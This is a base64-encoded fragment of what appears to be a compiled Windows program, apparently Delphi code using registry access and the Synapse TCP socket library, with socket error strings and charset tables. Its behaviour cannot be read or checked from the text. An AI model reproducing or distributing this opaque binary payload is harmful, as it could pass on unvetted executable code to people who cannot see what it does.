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 rO9AALrvQADI70AA1u9AAOTvQADy70AAAPBAAA7wQAAc8EAAKvBAADjwQABG8EAAVPBAAGLw QACLw7qI8EAA6KpF//9bw4vDupzwQADonEX//1vDi8O6sPBAAOiORf//W8OLw7rE8EAA6IBF //9bw4vDutjwQADockX//1vDi8O67PBAAOhkRf//W8OLw7oA8UAA6FZF//9bw4vDuhTxQADo SEX//1vDi8O6KPFAAOg6Rf//W8OLw7o88UAA6CxF//9bw4vDulTxQADoHkX//1vDi8O6bPFA AOgQRf//W8OLw7qE8UAA6AJF//9bw4vDupzxQADo9ET//1vDi8O6tPFAAOjmRP//W8OLw7rM 8UAA6NhE//9bw4vDuuTxQADoykT//1vDi8O6/PFAAOi8RP//W8OLw7oU8kAA6K5E//9bw4vD uiTyQADooET//1vDAAD/////CgAAAElTTy04ODU5LTIAAP////8KAAAASVNPLTg4NTktMwAA /////woAAABJU08tODg1OS00AAD/////CgAAAElTTy04ODU5LTUAAP////8KAAAASVNPLTg4 NTktNgAA/////woAAABJU08tODg1OS03AAD/////CgAAAElTTy04ODU5LTgAAP////8KAAAA SVNPLTg4NTktOQAA/////wsAAABJU08tODg1OS0xMAD/////DAAAAFdJTkRPV1MtMTI1MAAA AAD/////DAAAAFdJTkRPV1MtMTI1MQAAAAD/////DAAAAFdJTkRPV1MtMTI1MgAAAAD///// DAAAAFdJTkRPV1MtMTI1MwAAAAD/////DAAAAFdJTkRPV1MtMTI1NAAAAAD/////DAAAAFdJ TkRPV1MtMTI1NQAAAAD/////DAAAAFdJTkRPV1MtMTI1NgAAAAD/////DAAAAFdJTkRPV1Mt MTI1NwAAAAD/////DAAAAFdJTkRPV1MtMTI1OAAAAAD/////BgAAAEtPSTgtUgAA/////woA AABJU08tODg1OS0xAABVi+yDxORTVlcz24ld5Ild7Ild6IlN94hV+4lF/ItF/OiDRv//M8BV aDTzQABk/zBkiSDGRfYAjUXs6FlC//+LRfzorUT//4vYhdt+Lr4BAAAAi0X8ikQw/zx/dhqN ReSLVfyKVDL/6NRD//+LVeSNRezohUT//0ZLddfHRfCAAAAAM/aL3ovDPB93B4Pgfw+jRfdz Ro1F6FCLy4pV+4tF7OjO+v//M/+LRejoRET//4vYhdt+FLgBAAAAi1XogHwC/191AUdAS3Xx O33wfQyJffCLxohF9oX/dAZGg/4UdaMzwFpZWWSJEGg780AAjUXkugMAAADowUH//41F/OiV Qf//w+knPP//6+OKRfZfXluL5V3DjUAAVYvsM8BVaG3zQABk/zBkiSD/BVDmQQAzwFpZWWSJ EGh080AAw+nuO///6/hdw4vAgy1Q5kEAAXMw6y5PdXRsb29rIEV4cHJlc3MgY2hhcmFjdGVy IHRyYW5zY29kaW5nIGxpYnJhcnkAw4vAVYvsg8TUU1ZXM8mJTdSJTfiL8olF/ItF/OgGRf// M8BVaI/0QABk/zBkiSCLxujhQP//i0X86DVD//+L2IXbfne/AQAAAI1F+ItV/IpUOv/oZ0L/ /1ZXvgDXQQCNfdi5CAAAAPOlX16NRdi6oPRAALEg6Bk2//+LRfiKACX/AAAAD6NF2HMjjU3U i0X4D7YAugIAAADoznv//4tN1I1F+LrI9EAA6BJD//+LxotV+OjEQv//R0t1jjPAWllZZIkQ aJb0QACNRdToR0D//41F+LoCAAAA6F5A///D6cw6///r419eW4vlXcMAAAD+////AAAAAAAA AAAAAAAA//////////////////////////8BAAAAPQAAAFWL7IPE8FNWVzPJiU3wi/qJRfyL Rfzo8UP//zPAVWj69UAAZP8wZIkgi8fozD///8dF+AEAAADpwwAAAItF/ItV+IpEEP//RfiL 0IDi/IHi/wAAAMHqAohV9CQDweAEiEX1i0X86O5B//87Rfh8XotF/ItV+IpEEP//RfiL0IDi 8IHi/wAAAMHqBABV9SQPweACiEX2i0X86LtB//87Rfh8JYtF/ItV+IpEEP//RfiL0IDiwIHi /wAAAMHqBgBV9iQ/iEX36w7GRfdA6wjGRfZAxkX3QL4EAAAAjV30jUXwM9KKE7kQ9kAAihQR 6LNA//+LVfCLx+hlQf//Q0513otF/OhRQf//O0X4D40s////M8BaWVlkiRBoAfZAAI1F8OjX Pv//jUX86M8+///D6WE5///r6F9eW4vlXcP/////QQAAAEFCQ0RFRkdISUpLTE1OT1BRUlNU VVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89AAAAVYvsM8BV aHn2QABk/zBkiSD/BVTmQQAzwFpZWWSJEGiA9kAAw+niOP//6/hdw4vAgy1U5kEAAXMm6yRP dXRsb29rIEV4cHJlc3MgY29kaW5nIGFuZCBkZWNvZGluZwDDiwqD+UB9BolEigT/AsOLwDPS iRDDjUAA/yVA9EEAi8D/JTz0QQCLwP8lOPRBAIvA/yU09EEAi8D/JTD0QQCLwP8lLPRBAIvA /yUo9EEAi8D/JST0QQCLwP8lIPRBAIvA/yUc9EEAi8D/JRj0QQCLwP8lFPRBAIvA/yUQ9EEA i8D/JQz0QQCLwP8lCPRBAIvA/yUE9EEAi8D/JQD0QQCLwFWL7DPAVWh590AAZP8wZIkg/wVY 5kEAM8BaWVlkiRBogPdAAMPp4jf//+v4XcOLwIMtWOZBAAHD2PdAAAAAAAAAAAAA2PdAAAAA AAAAAAAAAAAAAAAAAADq90AAFAAAAPRhQACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AA zCtAAA4AAAAAAAEAAAAAEEAAEAAAAA1FU3luYXBzZUVycm9yRPhAAAAAAAAAAAAAaPhAAAAA AAAAAAAAAAAAAAAAAAB6+EAAyAEAAAwQQACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AA bPlAAKT6QACU+0AAvPtAAOj7QABY/EAAkPxAAPD8QAAE/0AALP9AAA4AAAAAAAEAAAAAEEAA MAAAAAxUQmxvY2tTb2NrZXSQ1PhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4+EAA yAEAAPj3QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AAbPlAAIgBQQCU+0AAvPtAAOj7 QABY/EAAkPxAAPD8QAAE/0AALP9AAA9UVENQQmxvY2tTb2NrZXRTVoTSdAiDxPDoxjP//4va i/Az0ovG6Iky///GRjQAx0YE/////zPAiUYsjUY4UGgBAQAA6Av+//+L0IvG6D4GAACLxuhL BgAAi8aE23QP6Ngz//9kjwUAAAAAg8QMi8ZeW8OQU1boyTP//4vai/CLxuhKAQAAi9OA4vyL xuhCMv//hNt+B4vG6Jcz//9eW8NVi+xRU1ZXiU38i9qL8ItF/OgqP///i0UI6CI///8zwFVo ffpAAGT/MGSJIIvDM8m6EAAAAOgCL///ZscDAgCLRixQ6Ez9//+L8DPAhfZ0EYsGUItFCOj1 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 xroMCUEA6F8w///pcgIAAIvGuiwJQQDoTjD//+lhAgAAi8a6TAlBAOg9MP//6VACAACLxrps CUEA6Cww///pPwIAAIvGupgJQQDoGzD//+kuAgAAi8a6wAlBAOgKMP//6R0CAACLxrroCUEA 6Pkv///pDAIAAIvGuggKQQDo6C///+n7AQAAi8a6MApBAOjXL///6eoBAACLxrpICkEA6MYv ///p2QEAAIvGumgKQQDotS///+nIAQAAi8a6lApBAOikL///6bcBAACLxrrACkEA6JMv///p pgEAAIvGuuQKQQDogi///+mVAQAAi8a6CAtBAOhxL///6YQBAACLxrosC0EA6GAv///pcwEA AIvGukwLQQDoTy///+liAQAAi8a6eAtBAOg+L///6VEBAACLxrqkC0EA6C0v///pQAEAAIvG usQLQQDoHC///+kvAQAAi8a64AtBAOgLL///6R4BAACLxroMDEEA6Pou///pDQEAAIvGuiwM QQDo6S7//+n8AAAAi8a6RAxBAOjYLv//6esAAACLxrpgDEEA6Mcu///p2gAAAIvGuoAMQQDo ti7//+nJAAAAi8a6nAxBAOilLv//6bgAAACLxrq0DEEA6JQu///ppwAAAIvGutAMQQDogy7/ /+mWAAAAi8a68AxBAOhyLv//6YUAAACLxrocDUEA6GEu///rd4vGukQNQQDoUy7//+tpi8a6 eA1BAOhFLv//61uLxrqYDUEA6Dcu///rTYvGurANQQDoKS7//+s/i8a63A1BAOgbLv//6zGL xrr8DUEA6A0u///rI2g0DkEAjVX8i8PozGj///91/GhUDkEAi8a6AwAAAOiwMP//M8BaWVlk iRBoUQdBAI1F/Oh/Lf//w+kRKP//6/BeW1ldwwAA/////wIAAABPSwAA/////xcAAABJbnRl cnJ1cHRlZCBzeXN0ZW0gY2FsbAD/////DwAAAEJhZCBmaWxlIG51bWJlcgD/////EQAAAFBl cm1pc3Npb24gZGVuaWVkAAAA/////wsAAABCYWQgYWRkcmVzcwD/////EAAAAEludmFsaWQg YXJndW1lbnQAAAAA/////xMAAABUb28gbWFueSBvcGVuIGZpbGVzAP////8VAAAAT3BlcmF0 aW9uIHdvdWxkIGJsb2NrAAAA/////xkAAABPcGVyYXRpb24gbm93IGluIHByb2dyZXNzAAAA /////x0AAABPcGVyYXRpb24gYWxyZWFkeSBpbiBwcm9ncmVzcwAAAP////8dAAAAU29ja2V0 IG9wZXJhdGlvbiBvbiBub25zb2NrZXQAAAD/////HAAAAERlc3RpbmF0aW9uIGFkZHJlc3Mg cmVxdWlyZWQAAAAA/////xAAAABNZXNzYWdlIHRvbyBsb25nAAAAAP////8eAAAAUHJvdG9j b2wgd3JvbmcgdHlwZSBmb3Igc29ja2V0AAD/////FgAAAFByb3RvY29sIG5vdCBhdmFpbGFi bGUAAP////8WAAAAUHJvdG9jb2wgbm90IHN1cHBvcnRlZAAA/////xQAAABTb2NrZXQgbm90 IHN1cHBvcnRlZAAAAAD/////IQAAAE9wZXJhdGlvbiBub3Qgc3VwcG9ydGVkIG9uIHNvY2tl dAAAAP////8dAAAAUHJvdG9jb2wgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAAD/////HAAAAEFk ZHJlc3MgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAAAA/////xYAAABBZGRyZXNzIGFscmVhZHkg aW4gdXNlAAD/////HgAAAENhbid0IGFzc2lnbiByZXF1ZXN0ZWQgYWRkcmVzcwAA/////w8A AABOZXR3b3JrIGlzIGRvd24A/////xYAAABOZXR3b3JrIGlzIHVucmVhY2hhYmxlAAD///// IwAAAE5ldHdvcmsgZHJvcHBlZCBjb25uZWN0aW9uIG9uIHJlc2V0AP////8gAAAAU29mdHdh cmUgY2F1c2VkIGNvbm5lY3Rpb24gYWJvcnQAAAAA/////xgAAABDb25uZWN0aW9uIHJlc2V0 IGJ5IHBlZXIAAAAA/////xkAAABObyBidWZmZXIgc3BhY2UgYXZhaWxhYmxlAAAA/////xsA AABTb2NrZXQgaXMgYWxyZWFkeSBjb25uZWN0ZWQA/////xcAAABTb2NrZXQgaXMgbm90IGNv bm5lY3RlZAD/////IAAAAENhbid0IHNlbmQgYWZ0ZXIgc29ja2V0IHNodXRkb3duAAAAAP// //8gAAAAVG9vIG1hbnkgcmVmZXJlbmNlczpjYW4ndCBzcGxpY2UAAAAA/////xQAAABDb25u ZWN0aW9uIHRpbWVkIG91dAAAAAD/////EgAAAENvbm5lY3Rpb24gcmVmdXNlZAAA/////yEA AABUb28gbWFueSBsZXZlbHMgb2Ygc3ltYm9saWMgbGlua3MAAAD/////FQAAAEZpbGUgbmFt ZSBpcyB0b28gbG9uZwAAAP////8MAAAASG9zdCBpcyBkb3duAAAAAP////8QAAAATm8gcm91 dGUgdG8gaG9zdAAAAAD/////FgAAAERpcmVjdG9yeSBpcyBub3QgZW1wdHkAAP////8SAAAA VG9vIG1hbnkgcHJvY2Vzc2VzAAD/////DgAAAFRvbyBtYW55IHVzZXJzAAD/////EwAAAERp c2sgcXVvdGEgZXhjZWVkZWQA/////xUAAABTdGFsZSBORlMgZmlsZSBoYW5kbGUAAAD///// 